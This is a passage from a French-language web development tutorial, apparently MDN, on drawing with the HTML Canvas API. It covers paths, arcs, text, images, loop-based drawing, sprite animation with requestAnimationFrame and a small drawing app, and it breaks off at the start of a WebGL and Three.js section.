{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}}

+ +
+

Note: Le code terminé est disponible sur GitHub, 2_canvas_rectangles.html.

+
+ +

Dessiner des chemins

+ +

Si vous voulez dessiner quelque chose de plus complexe qu'un rectangle, vous allez certainement devoir utiliser un path (chemin). En gros, cela implique de spécifier exactement où déplacer un stylo sur le canvas pour tracer la forme que vous voulez. L'API Canvas inclut des fonctions pour dessiner des lignes droites, des cercles, des courbes Bézier, et plus encore.

+ +

Commençons la section en faisant une nouvelle copie de notre template (1_canvas_template.html), dans lequel nous allons dessiner le nouvel exemple.

+ +

Nous allons utiliser quelques méthodes et propriétés communes dans les sections suivantes:

+ +
    +
  • {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} — commence à dessiner un path au point où le stylo se situe sur le canvas. Sur un nouveau canvas, le stylo commence au point (0, 0).
    • +
  • {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} — déplace le stylo à un point différent sur le canvas, sans tracer de ligne; le stylo "saute" simplement à une nouvelle position.
    • +
  • {{domxref("CanvasRenderingContext2D.fill", "fill()")}} — dessine une forme en remplissant le path définit jusqu'à présent.
    • +
  • {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}} — dessine un trait en suivant le path définit jusqu'à présent.
    • +
  • Vous pouvez utiliser les fonctionnalités telles que lineWidth et fillStyle/strokeStyle avec les paths aussi bien qu'avec les rectangles.
    • +
+ +

Typiquement, une manière de dessiner un trait simple ressemblerait à ça:

+ +
ctx.fillStyle = 'rgb(255, 0, 0)';
+ctx.beginPath();
+ctx.moveTo(50, 50);
+// tracer le trait
+ctx.fill();
+ +

Dessiner des lignes

+ +

Dessinons un triangle équilatéral sur le canvas.

+ +
    +
  1. +

    Tout d'abord, ajoutez la fonction d'aide suivante au bas de votre code. Elle convertit des valeurs en degrés en radians, ce qui est utile car chaque fois que vous devez fournir une valeur d'angle en JavaScript, ce sera presque toujours en radians, tandis que les humains pensent généralement en degrés.

    + + 
    function degToRad(degrees) {
+  return degrees * Math.PI / 180;
+};
    +
    2. +
  2. +

    Ensuite, commencez votre path en ajoutant ce qui suit au bas de votre JavaScript. Ici, nous définissons une couleur pour notre triangle et déplaçons le stylo au point (50, 50) sans rien tracer. C'est à partir de là que nous allons dessiner notre triangle.

    + + 
    ctx.fillStyle = 'rgb(255, 0, 0)';
+ctx.beginPath();
+ctx.moveTo(50, 50);
    +
    3. +
  3. +

    Maintenant ajoutez le bloc de code suivant:

    + + 
    ctx.lineTo(150, 50);
+var triHeight = 50 * Math.tan(degToRad(60));
+ctx.lineTo(100, 50+triHeight);
+ctx.lineTo(50, 50);
+ctx.fill();
    + +

    Parcourons ceci dans l'ordre:

    + +
      +
    1. +

      D'abord nous ajoutons une ligne vers (150, 50) — notre path va maintenant 100 pixels vers la droite le long de l'axe horizontal (x).

      +
      2. +
    2. +

      Puis, nous calculons la hauteur de notre triangle équilatéral, en utilisant un peu de trigonométrie simple. Nous dessinons un triangle pointant vers le bas.

      + +

      Les angles d'un triangle équilatéral sont tous de 60 degrés. Pour calculer la hauteur, nous pouvons séparer le triangle en deux triangles rectangles par le milieu, qui auront alors des angles de 90, 60 et 30 degrés.

      + +

      Pour ce qui est des côtés:

      + +
        +
      • Le côté le plus long est appelé l'hypoténuse
        • +
      • Le côté relié à l'angle de 60 degrés (et qui n'est pas l'hypothénuse) est dit adjacent à cet angle — sa longueur est de 50 pixels puisque c'est la moitié de la ligne que nous avons dessiné.
        • +
      • Le côté opposé à l'angle de 60 degrés est dit opposé à cet angle — c'est la hauteur que nous voulons calculer.
        • +
      + +

       

      + +

      + +

      Une des formule trigonométrique de base stipule que la longueur du côté adjacent mutiplié par la tangente de l'angle est égale à l'opposé, soit 50 * Math.tan(degToRad(60)). Nous utilisons notre fonction degToRad() pour convertir 60 degrés en radians, puisque {{jsxref("Math.tan()")}} attend une valeur en radians.

      +
      3. +
    3. +

      Avec la hauteur calculée, nous ajoutons une nouvelle ligne vers (100, 50+triHeight). La coordonnée X est simple, elle est à mi-chemin de la ligne que nous avons tracé. La valeur de Y d'autre part doit être de 50 plus la hauteur du triangle, puisque le haut du triangle est à 50 pixels du haut du canvas.

      +
      4. +
    4. +

      L'instruction qui suit ajoute une ligne vers le point de départ du triangle.

      +
      5. +
    5. +

      Pour finir, nous appelons ctx.fill() pour finir le path et remplir la forme.

      +
      6. +
    +
    4. +
+ +

Dessiner des cercles

+ +

Maintenant, voyons comment dessiner un cercle sur le canvas. Pour ce faire, on utilise la méthode {{domxref("CanvasRenderingContext2D.arc", "arc()")}}, qui dessine tout ou une portion de cercle à un point spécifié.

+ +
    +
  1. +

    Ajoutons un arc à notre canvas en ajoutant le code qui suit:

    + + 
    ctx.fillStyle = 'rgb(0, 0, 255)';
+ctx.beginPath();
+ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false);
+ctx.fill();
    + +

    arc() prend six paramètres.

    + +
      +
    • Les deux premiers spécifient la position du centre du cercle (X et Y respectivement).
      • +
    • Le troisième est le rayon du cercle
      • +
    • Le quatrième et le cinquième sont les angles de début et de fin pour dessiner l'arc (donc spécifier 0 et 360 nous donne un cercle fermé)
      • +
    • Et le sixième paramètre définit si le cercle doit être dessiné dans le sens des aiguilles d'une montre ou dans le sens inverse (false pour le sens horaire).
      • +
    + +
    +

    Note: 0 degrés est horizontalement vers la droite.

    +
    +
    2. +
  2. +

    Ajoutons un autre arc:

    + + 
    ctx.fillStyle = 'yellow';
+ctx.beginPath();
+ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true);
+ctx.lineTo(200, 106);
+ctx.fill();
    + +

    Le motif ici est très similaire, a deux différences près:

    + +
      +
    • Nous avons mis le dernier paramètre de arc() à true, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre.  Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez true à false et ré-exécutez le code, seule une portion de 90 degrés sera dessinée.
      • +
    • Avant d'appeler fill(), nous ajoutons une ligne vers le centre du cercle. Nous obtenons une découpe de style Pac-Man plutôt sympa. Si vous supprimiez cette ligne (essayez!) et ré-exécutiez le code, vous auriez juste un cercle dont le bout a été coupé — entre le début et la fin de l'arc. Cela illuste un autre point important du canvas: si vous essayez de remplir une forme incomplète (qui n'est pas fermée), le navigateur ajoute une ligne droite entre le début et la fin du path et le remplit.
      • +
    +
    3. +
+ +

C'est tout pour le moment; votre exemple final devrait ressembler à ceci:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}}

+ +
+

Note: Le code finit est disponible sur GitHub, 3_canvas_paths.html.

+
+ +
+

Note: Pour en savoir plus sur les fonctions de dessin avancées, telles que les courbes Bézier, consultez notre tutoriel Dessiner des formes avec le canevas.

+
+ +

Texte

+ +

Canvas dispose également de fonctionnalités pour écrire du texte. Nous allons les explorer brièvement. Commencez par créer une nouvelle copie du template (1_canvas_template.html), dans lequel nous allons dessiner le nouvel exemple.

+ +

Le texte peut être avec deux méthodes:

+ +
    +
  • {{domxref("CanvasRenderingContext2D.fillText", "fillText()")}} — dessine un texte rempli.
    • +
  • {{domxref("CanvasRenderingContext2D.strokeText", "strokeText()")}} — dessine un contour de texte.
    • +
+ +

Ces deux méthodes prennent trois paramètres: la chaîne de caractères à écrire et les coordonnées X et Y du coin supérieur gauche de la zone de texte (text box) — littéralement, la zone entourant le texte que vous écrivez.

+ +

Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}.

+ +

Essayez d'ajouter le bloc suivant au bas de votre javaScript:

+ +
ctx.strokeStyle = 'white';
+ctx.lineWidth = 1;
+ctx.font = '36px arial';
+ctx.strokeText('Canvas text', 50, 50);
+
+ctx.fillStyle = 'red';
+ctx.font = '48px georgia';
+ctx.fillText('Canvas text', 50, 150);
+ +

Ici nous dessinons deux lignes de texte, une avec le contour et l'autre remplie. L'exemple final devrait ressembler à ça:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}}

+ +
+

Note: Le code final est disponible sur GitHub, 4_canvas_text.html.

+
+ +

Jouez avec et voyez ce que vous pouvez faire! Vous pouvez trouver plus d'information sur les options disponibles pour ajouter du texte sur un canvas dans Dessin de texte avec canvas.

+ +

Dessiner des images sur le canvas

+ +

Il est possible d'afficher des images externes sur le canvas. Ce peut être des images simples, des images à l'intérieur d'une vidéo, ou le contenu d'autres canvas. Pour le moment, nous allons juste nous occuper d'ajouter des images simples sur le canvas.

+ +
    +
  1. +

    Comme précédemment, créez une nouvelle copie du template (1_canvas_template.html), où nous dessinerons l'exemple. Vous allez également devoir sauvegarder une copie de notre image d'exemple — firefox.png — dans le même répertoire.

    + +

    Les images sont dessinés sur le canvas en utilisant la méthode {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Dans sa version la plus simple, elle prend trois paramètres — une référence de l'image que vous voulez afficher et les coordonnées X et Y du coin supérieur gauche de l'image sur le canvas.

    +
    2. +
  2. +

    Commençons par obtenir une ressource de l'image à inclure dans notre canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:

    + + 
    var image = new Image();
+image.src = 'firefox.png';
    + +

    Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut  {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image.

    +
    3. +
  3. +

    Nous pourrions essayer maintenant d'inclure l'image en utilisant drawImage(), mais nous devons nous assurer que le fichier image ait été chargé en premier, faute de quoi le code échouera. Nous pouvons y parvenir en utilisant le gestionnaire d'événement onload, qui ne sera appelé que lorsque l'image aura fini de charger. Ajoutez le bloc suivant à la suite du précédent:

    + + 
    image.onload = function() {
+  ctx.drawImage(image, 50, 50);
+}
    + +

    Si vous chargez votre exemple dans le navigateur maintenant, vous devriez voir l'image inclue dans le canvas.

    +
    4. +
  4. +

    Mais il y en a plus! Et si nous ne voulions afficher qu'une partie de l'image, ou la redimensionner? Nous pouvons faire ces deux choses avec une version plus complexe de drawImage(). Mettez à jour votre ligne ctx.drawImage() comme suit:

    + + 
    ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175);
    + +
      +
    • Le premier paramètre est la référence de l'image, comme précédemment.
      • +
    • Les paramètres 2 et 3 définissent les coordonnées à partir d'où découper l'image, relativement au coin supérieur gauche de l'image d'origine. Tout ce qui est à gauche de X (paramètre 2) ou au-dessus de Y (paramètre 3) ne sera pas dessiné.
      • +
    • Les paramètres 4 et 5 définissent la largeur et hauteur de la zone que nous voulons découper, à partir du coin supérieur gauche de l'image découpée.
      • +
    • Les paramètres 6 et 7 définissent les coordonnées où vous souhaitez placer l'image sur le canvas, relativement au coin supérieur gauche du canvas.
      • +
    • Les paramètres 8 et 9 définissent la largeur et la hauteur affichée de l'image découpée. En l'occurence, nous avons spécifié les mêmes dimensions que la découpe, mais vous pouvez la redimensionner (et la déformer) en spécifiant des valeurs différentes.
      • +
    +
    5. +
+ +

L'exemple final devrait ressembler à ça:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}}

+ +
+

Note: Le code final est disponible sur GitHub, 5_canvas_images.html.

+
+ +

Boucles et animations

+ +

Jusqu'ici, nous avons couvert quelques utilisations très basiques du canvas 2D, mais vous ne ressentirez la pleine puissance du canvas que si vous le mettez à jour ou l'animez d'une manière ou d'une autre. Après tout, le canvas fournit des images scriptables! Si vous n'avez pas l'intention de changer quelque chose, alors autant utiiliser des images statiques et vous épargner du travail.

+ +

Créer une boucle

+ +

Jouer avec des boucles est plutôt amusant — vous pouvez exécuter des commandes de canvas à l'intérieur d'une boucle for (ou tout autre type de boucle) comme n'importe quel autre code JavaScript.

+ +

Construisons un exemple simple.

+ +
    +
  1. +

    Créez une nouvelle copie du template (1_canvas_template.html) et ouvrez-le dans votre éditeur de texte.

    +
    2. +
  2. +

    Ajoutez la ligne qui suit au bas de votre JavaScript. Elle contient une nouvelle méthode, {{domxref("CanvasRenderingContext2D.translate", "translate()")}}, qui déplace le point d'origine du canvas:

    + + 
    ctx.translate(width/2, height/2);
    + +

    Cela a pour effet de déplacer l'origine des coordonnées (0, 0) au centre du canvas, plutôt que d'être dans le coin supérieur gauche. C'est très utile dans de nombreuses situations, comme celle-ci, où nous voulons que notre dessin soit dessiné par rapport au centre du canvas.

    +
    3. +
  3. +

    Maintenant ajoutez le code suivant au bas du Javacript:

    + + 
    function degToRad(degrees) {
+  return degrees * Math.PI / 180;
+};
+
+function rand(min, max) {
+  return Math.floor(Math.random() * (max-min+1)) + (min);
+}
+
+var length = 250;
+var moveOffset = 20;
+
+for(var i = 0; i < length; i++) {
+
+}
    + +

    Ici, nous implémentons

    + +
      +
    • la même fonction degToRad() que nous avons vu dans l'exemple du triangle auparavant,
      • +
    • une fonction rand(), qui retoune un nombre aléatoire entre une limite inférieure et une limite supérieure,
      • +
    • les variables length et moveOffset (que nous verrons plus loin),
      • +
    • et une boucle for vide.
      • +
    +
    4. +
  4. +

    L'idée est que nous allons dessiner quelque chose sur le canvas à l'intérieur de la boucle for, et itérer dessus pour créer quelque chose d'intéressant. Ajoutez le code suivant à l'intérieur de la boucle for:

    + + 
    ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)';
+ctx.beginPath();
+ctx.moveTo(moveOffset, moveOffset);
+ctx.lineTo(moveOffset+length, moveOffset);
+var triHeight = length/2 * Math.tan(degToRad(60));
+ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight);
+ctx.lineTo(moveOffset, moveOffset);
+ctx.fill();
+
+length--;
+moveOffset += 0.7;
+ctx.rotate(degToRad(5));
    + +

    Ainsi à chaque itération, on:

    + +
      +
    1. Définit fillStyle comme étant une nuance de violet légèrement transparente, et qui change à chaque fois en fonction de la valeur de length. Comme vous le verrez plus tard, sa valeur diminue à chaque itération, ce qui a pour effet de rendre la couleur toujours plus claire.
      2. +
    2. Ouvre un path.
      3. +
    3. Déplace le stylo aux coordonnées de (moveOffset, moveOffset); Cette variable définit jusqu'où nous voulons nous déplacer à chaque fois que nous dessinons.
      4. +
    4. Dessine une ligne aux coordonées de (moveOffset+length, moveOffset). Cela dessine une ligne de longueur length parallèle à l'axe X.
      5. +
    5. Calcule la hauteur du triangle, comme vu auparavant.
      6. +
    6. Dessine une ligne vers le coin du bas du triangle.
      7. +
    7. Dessine une ligne vers le début du triangle.
      8. +
    8. Appelle fill() pour remplir le triangle.
      9. +
    9. Met à jour les variables qui indiquent comment dessiner le triangle, afin qu'elles soient prêtes pour la prochaine itération: +
        +
      • Diminue la valeur de length de 1, de sorte que les triangles deviennent de plus en plus petits;
        • +
      • Augmente un peu moveOffset pour que chaque triangle successif soit légèrement plus éloigné;
        • +
      • et utilise une nouvelle fonction, {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}}, qui permet de faire pivoter entièrement le canvas! Nous le faisons pivoter de 5 degrés avant de dessiner le triangle suivant.
        • +
      +
      10. +
    +
    5. +
+ +

C'est tout! L'exemple final devrait ressemble à ça:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}}

+ +

À ce stade, nous vous encourageons à jouer avec l'exemple et de vous l'approprier! Par exemple:

+ +
    +
  • Dessinez des rectangles ou des arcs au lieu des triangles, ou même des images externes.
    • +
  • Jouez avec les valeurs de length et moveOffset.
    • +
  • Utilisez des nombres aléatoires — grâce à la fonction rand() que nous avons inclue mais que nous n'avons pas utilisée.
    • +
+ +
+

Note: Le code terminé est disponible sur GitHub, 6_canvas_for_loop.html.

+
+ +

Animations

+ +

L'exemple de boucle que nous avons construit ci-dessus était amusant, mais en vrai vous avez besoin d'une boucle qui continue constamment d'itérer pour toute application sérieuse de canvas (telles que les jeux et les visualisations en temps réel). Si vous pensez à votre canvas comme étant en quelque sorte un film, vous allez vouloir que l'affichage se mette à jour à chaque image pour afficher la mise à jour avec un taux de rafraichissement idéal de 60 images par seconde, afin que le mouvement soit lisse et agréable pour l'oeil humain.

+ +

Il y a quelques fonctions JavaScript qui vous permettrons d'exécuter des fonctions de manière répétée, plusieurs fois par seconde, la meilleure étant ici {{domxref("window.requestAnimationFrame()")}}. Elle prend un paramètre — la fonction que vous voulez exécuter pour chaque image. Dès que le navigateur est prêt à mettre à jour l'écran, votre fonction sera appelée. Si cette fonction dessine la nouvelle mise à jour, puis appelle de nouveau requestAnimationFrame() juste avant la fin de la fonction, la boucle d'animation continuera de s'exécuter de manière fluide. La boucle s'arrête lorsque vous vous arrêtez d'appeler requestAnimationFrame() ou si vous appelez {{domxref("window.cancelAnimationFrame()")}} après avoir appelé requestAnimationFrame() mais avant que votre fonction n'ait été exécutée.

+ +
+

Note: C'est une bonne pratique d'appeler cancelAnimationFrame() à partir de votre code principal lorsque vous avez terminé d'utiliser l'animation, pour vous assurer qu'aucune mise à jour n'attend d'être exécutée.

+
+ +

Le navigateur s'occupe des détails complexes tels qu'exécuter l'animation à une vitesse constante, et ne pas gaspiller de ressources en animant des choses qui ne sont pas visibles.

+ +

Pour voir comment cela fonctionne, regardons rapidement notre exemple des balles qui rebondissent (le voir en direct, et voir le code source). Le code de la boucle qui garde le tout en mouvement ressemble à ceci:

+ +
function loop() {
+  ctx.fillStyle = 'rgba(0, 0, 0, 0.25)';
+  ctx.fillRect(0, 0, width, height);
+
+  while(balls.length < 25) {
+    var ball = new Ball();
+    balls.push(ball);
+  }
+
+  for(i = 0; i < balls.length; i++) {
+    balls[i].draw();
+    balls[i].update();
+    balls[i].collisionDetect();
+  }
+
+  requestAnimationFrame(loop);
+}
+
+loop();
+ +

Nous lançons la fonction loop() une fois pour commencer le cycle et dessiner la première image de l'animation. La fonction loop() s'occupe ensuite d'appeler requestAnimationFrame(loop) pour afficher la prochaine image de l'animation, et ce continuellement.

+ +

Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire.

+ +

Optimiser l'animation graphique est une spécialité entière de programmation, avec beaucoup de techniques ingénieuses disponibles. Mais celles-ci sont au-delà de ce dont nous avons besoin pour notre exemple!

+ +

En général, le processus pour animer un canvas implique les étapes suivantes:

+ +
    +
  1. Effacer le contenu du cavas (par exemple avec {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} ou {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}).
    2. +
  2. Sauvegarder l'état (si nécessaire) en utilisant {{domxref("CanvasRenderingContext2D.save", "save()")}} — c'est nécessaire lorsque vous voulez enregistrer les paramètres que vous mis à jour sur le canvas avant de continuer, ce qui est utile pour des applications plus avancées.
    3. +
  3. Dessiner les éléments graphiques que vous animez.
    4. +
  4. Restaurer les paramètres sauvegardés à l'étape 2 en utilisant {{domxref("CanvasRenderingContext2D.restore", "restore()")}}
    5. +
  5. Appeler requestAnimationFrame() pour planifier le dessin de l'image suivante de l'animation.
    6. +
+ +
+

Note: Nous ne couvrirons pas save() et restore() ici, mais elles sont bien expliquées dans notre tutoriel Transformations (et ceux qui le suivent).

+
+ +

Une animation simple de personnage

+ +

Créons maintenant notre propre animation simple — nous allons faire parcourir l'écran à un personnage d'un certain jeu vidéo rétro plutôt génial.

+ +
    +
  1. +

    Faites une nouvelle copie du template (1_canvas_template.html) et ouvrez-le dans votre éditeur de texte. Sauvegardez une copie de walk-right.png dans le même répertoire.

    +
    2. +
  2. +

    Au bas du JavaScript, ajoutez la ligne suivante pour placer une fois de plus l'origine des coordonnées au milieu du canvas:

    + + 
    ctx.translate(width/2, height/2);
    +
    3. +
  3. +

    Nous allons maintenant créer un objet {{domxref("HTMLImageElement")}}, définir son attribut {{htmlattrxref("src", "img")}} à l'image que nous voulons charger, et ajouter le gestionnaire d'événement onload pour appeler la fonction draw() quand l'image sera chargée:

    + + 
    var image = new Image();
+image.src = 'walk-right.png';
+image.onload = draw;
    +
    4. +
  4. +

    Ajoutons quelques variables pour garder une trace de la position du sprite à dessiner à l'écran, et le numéro du sprite que nous voulons afficher.

    + + 
    var sprite = 0;
+var posX = 0;
    + +

    L'image de sprites (que nous avons respectueusement emprunté à Mike Thomas dans son article Create a sprite sheet walk cycle using using CSS animation — créer un cycle de marche avec une feuille de sprites en utilisant les animations CSS) ressemble à ça:

    + +

    + +

    Elle contient six sprites qui constituent une séquence de marche — chacun a 102 pixels de large et 148 pixels de hauteur. Pour afficher chaque sprite proprement, nous allons devoir utiliser drawImage() pour découper un seul sprite de l'image et n'afficher que cette partie, comme nous l'avons fait précédemment avec le logo Firefox. La coordonnée X de la découpe devra être un multiple de 102 et la coordonnée Y sera toujours 0. La taille de la découpe sera toujours de 102 pixels par 148.

    +
    5. +
  5. +

    Insérons maintenant une fonction draw() vide au bas du code, prête à être remplie de code:

    + + 
    function draw() {
+
+};
    +
    6. +
  6. +

    Le reste du code dans cette section va dans draw(). Tout d'abord, ajoutez la ligne suivante, qui efface le canvas pour préparer le dessin de chaque image. Notez que nous devons spécifier le coin supérieur gauche du rectangle comme étant -(width/2), -(height/2) puisque nous avons définit l'origine du canvas à width/2, height/2 plus tôt.

    + + 
    ctx.fillRect(-(width/2), -(height/2), width, height);
    +
    7. +
  7. +

    Ensuite, nous allons dessinons notre image en utilisant drawImage() — la version à 9 paramètres. Ajoutez ce qui suit:

    + + 
    ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148);
    + +

    Comme vous pouvez le voir:

    + +
      +
    • Nous spécifions image comme étant l'image à inclure.
      • +
    • Les paramètres 2 et 3 spécifient le coin supérieur gauche de la portion de l'image à découper: la valeur X vaut sprite multiplié par 102 (où sprite est le numéro du sprite, entre 0 et 5) et la valeur Y vaut toujours 0.
      • +
    • Les paramètres 4 et 5 spécifient la taille de la découpe — 102 pixels par 148.
      • +
    • Les paramètres 6 et 7 spécifient le coin supérieur gauche de la découpe sur le canvas — la position de X est 0+posX, ce qui signifie que nous pouvons modifier la position du dessin en modifiant la valeur de posX.
      • +
    • Les paramètres 8 et 9 spécifient la taille de l'image sur le canvas. Nous voulons garder sa taille d'origine, on définit donc 102 pour largeur et 148 pour hauteur.
      • +
    +
    8. +
  8. +

    Maintenant, nous allons changer la valeur de sprite après chaque dessin — après certains d'entre eux du moins. Ajoutez le bloc de code suivant au bas de la fonction draw():

    + + 
      if (posX % 13 === 0) {
+    if (sprite === 5) {
+      sprite = 0;
+    } else {
+      sprite++;
+    }
+  }
    + +

    Nous enveloppons le bloc entier de if (posX % 13 === 0) { ... }. On utilise l'opérateur modulo (%) (aussi connu sous le nom d'opérateur reste) pour vérifier si la valeur de posX peut être exactement divisée par 13, sans reste. Si c'est le cas, on passe au sprite suivant en incrémentant sprite (en retournant à 0 après le sprite #5). Cela implique que nous ne mettons à jour le sprite que toutes les 13èmes images, ou à peu près 5 images par seconde (requestAnimationFrame() appelle jusqu'à 60 images par secondes si possible). Nous ralentissons délibéremment le cadence des images parce que nous n'avons que six sprites avec lesquels travailler, et si on en affiche un à chaque 60ième de seconde, notre personnage va bouger beaucoup trop vite!

    + +

    À l'intérieur du bloc, on utilise une instruction if ... else pour vérifier si la valeur de sprite vaut 5 (le dernier sprite, puisque les numéro de sprite vont de 0 à 5). Si nous sommes en train d'afficher le dernier sprite, alors on réinitialilse sprite à 0; sinon on l'incrémente de 1.

    +
    9. +
  9. +

    Ensuite, nous devons déterminer comment modifier la valeur de posX sur chaque image — ajoutez le bloc de code à la suite:

    + + 
      if(posX > width/2) {
+    newStartPos = -((width/2) + 102);
+    posX = Math.ceil(newStartPos / 13) * 13;
+    console.log(posX);
+  } else {
+    posX += 2;
+  }
    + +

    Nous utilisons une autre instruction if ... else pour voir si la valeur de posX est plus grande que width/2, ce qui signifie que notre personnage est sortit du bord droit de l'écran. Si c'est le cas, on calcule la position qui met le personnage à gauche du bord gauche de l'écran, et on définit posX au multiple de 13 le plus proche de ce nombre. Il faut obligatoirement un multiple de 13 pour que le bloc de code précédent puisse toujours fonctionner!

    + +

    Si notre personnage n'a pas atteint le bord de l'écran, on incrémente posX de 2. Cela le fera bouger un peu vers la droite la prochaine fois qu'on le dessinera.

    +
    10. +
  10. +

    Finalement, nous devons boucler sur l'animation en appelannt {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} en bas de la fonction draw():

    + + 
    window.requestAnimationFrame(draw);
    +
    11. +
+ +

Et voilà! L'exemple final devrait ressembler à ça:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

+ +
+

Note: Le code final est disponible sur GitHub, 7_canvas_walking_animation.html.

+
+ +

Une application simple de dessin

+ +

Comme exemple final d'animation, nous aimerions vous montrer une application très simple de dessin, pour illustrer comment la boucle d'animation peut être combinée avec les entrées de l'utilisateur (comme le mouvement de la souris en l'occurence). Nous n'allons pas expliquer la procédure pas à pas pour construire cette application, nous allons juste explorer les parties les plus intéressantes du code.

+ +

L'exemple peut être trouvé sur GitHub, 8_canvas_drawing_app.html, et vous pouvez jouer avec en direct ci-dessous:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}}

+ +

Regardons les parties les plus intéressantes. Tout d'abord, nous gardons une trace des coordonnées X et Y de la souris et si elle est pressée ou non grâce à trois variables: curX, curY, et pressed. Quand la souris bouge, nous déclenchons une fonction via le gestionnaire d'événement onmousemove, lequel capture les valeurs X et Y actuelles. Nous utilisons également les gestionnaires d'événement onmousedown et onmouseup pour changer la valeur de pressed à true quand le bouton de la souris est pressé, et de nouveau à false quand il est relaché.

+ +
var curX;
+var curY;
+var pressed = false;
+
+document.onmousemove = function(e) {
+  curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+  curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+  pressed = true;
+};
+
+canvas.onmouseup = function() {
+  pressed = false;
+}
+ +

Quand le bouton "Clear canvas" (effacer le canvas) est cliqué, nous exécutons une simple fonction qui efface entièrement le canvas grâce à un rectangle noir, de la même manière que nous avons vu précédemment:

+ +
clearBtn.onclick = function() {
+  ctx.fillStyle = 'rgb(0, 0, 0)';
+  ctx.fillRect(0, 0, width, height);
+}
+ +

La boucle du dessin est relativement simple cette fois-ci — si pressed est à true, nous dessinons un cercle rempli avec la couleur du color picker (sélecteur de couleur), et d'un rayon égal à la valeur définit dans le champs de sélection dans un intervalle.

+ +
function draw() {
+  if(pressed) {
+    ctx.fillStyle = colorPicker.value;
+    ctx.beginPath();
+    ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+    ctx.fill();
+  }
+
+  requestAnimationFrame(draw);
+}
+
+draw();
+ +
+

Note: Les types d'{{htmlelement("input")}} range et color sont relativement bien pris en charge parmi les différents navigateurs, à l'exception des versions d'Internet Explorer inférieures à 10; et Safari ne prend pas en charge le type color. Si votre navigateur ne prend pas en charge ces types, il affichera simplement un champ texte et vous n'aurez qu'à entrer des valeurs de couleur et numéro valides vous-mêmes.

+
+ +

WebGL

+ +

Il est maintenant temps de laisser la 2D derrière, et de jeter un coup d'oeil au canvas 3D. Le contenu 3D d'un canvas est spécifié en utilisant l'API WebGL, qui est une API complètement séparée de l'API des canvas 2D, même si ls deux sont affichés sur des éléments {{htmlelement("canvas")}}.

+ +

WebGL est basé sur le langage de programmation graphique OpenGL, et permet de communiquer directement avec le GPU de l'ordinateur. En soi, l'écriture WebGL est plus proche des langages de bas niveau tel que C++ que du JavaScript usuel; c'est assez complexe mais incroyablement puissant.

+ +

Utiliser une bibliothèque

+ +

De par sa complexité, la plupart des gens écrivent du code de graphique 3D en utilisant une bibliothèque JavaScript tierce telle que Three.js, PlayCanvas ou Babylon.js. La plupart d'entre elles fonctionnent d'une manière similaire, offrant des fonctionnalités pour créer des formes primitives et personnalisées, positionner des caméras et des éclairages, recouvrir des surfaces avec des textures et plus encore. Elles se chargent de WebGL pour vous, vous permettant de travailler à un niveau plus haut.

+ +

Oui, en utiliser une signifie apprendre une autre nouvelle API (une API tierce en l'occurence), mais elles sont beaucoup plus simples que de coder du WebGL brut.

+ +

Recréer notre cube

+ +

Regardons un exemple simple pour créer quelque chose avec une bibliothèque WebGL. Nous allons choisir Three.js, puisque c'est l'une des plus populaires. Dans ce tutoriel, nous allons créer le cube 3D qui tourne que nous avons plus tôt.

+ +
    +
  1. +

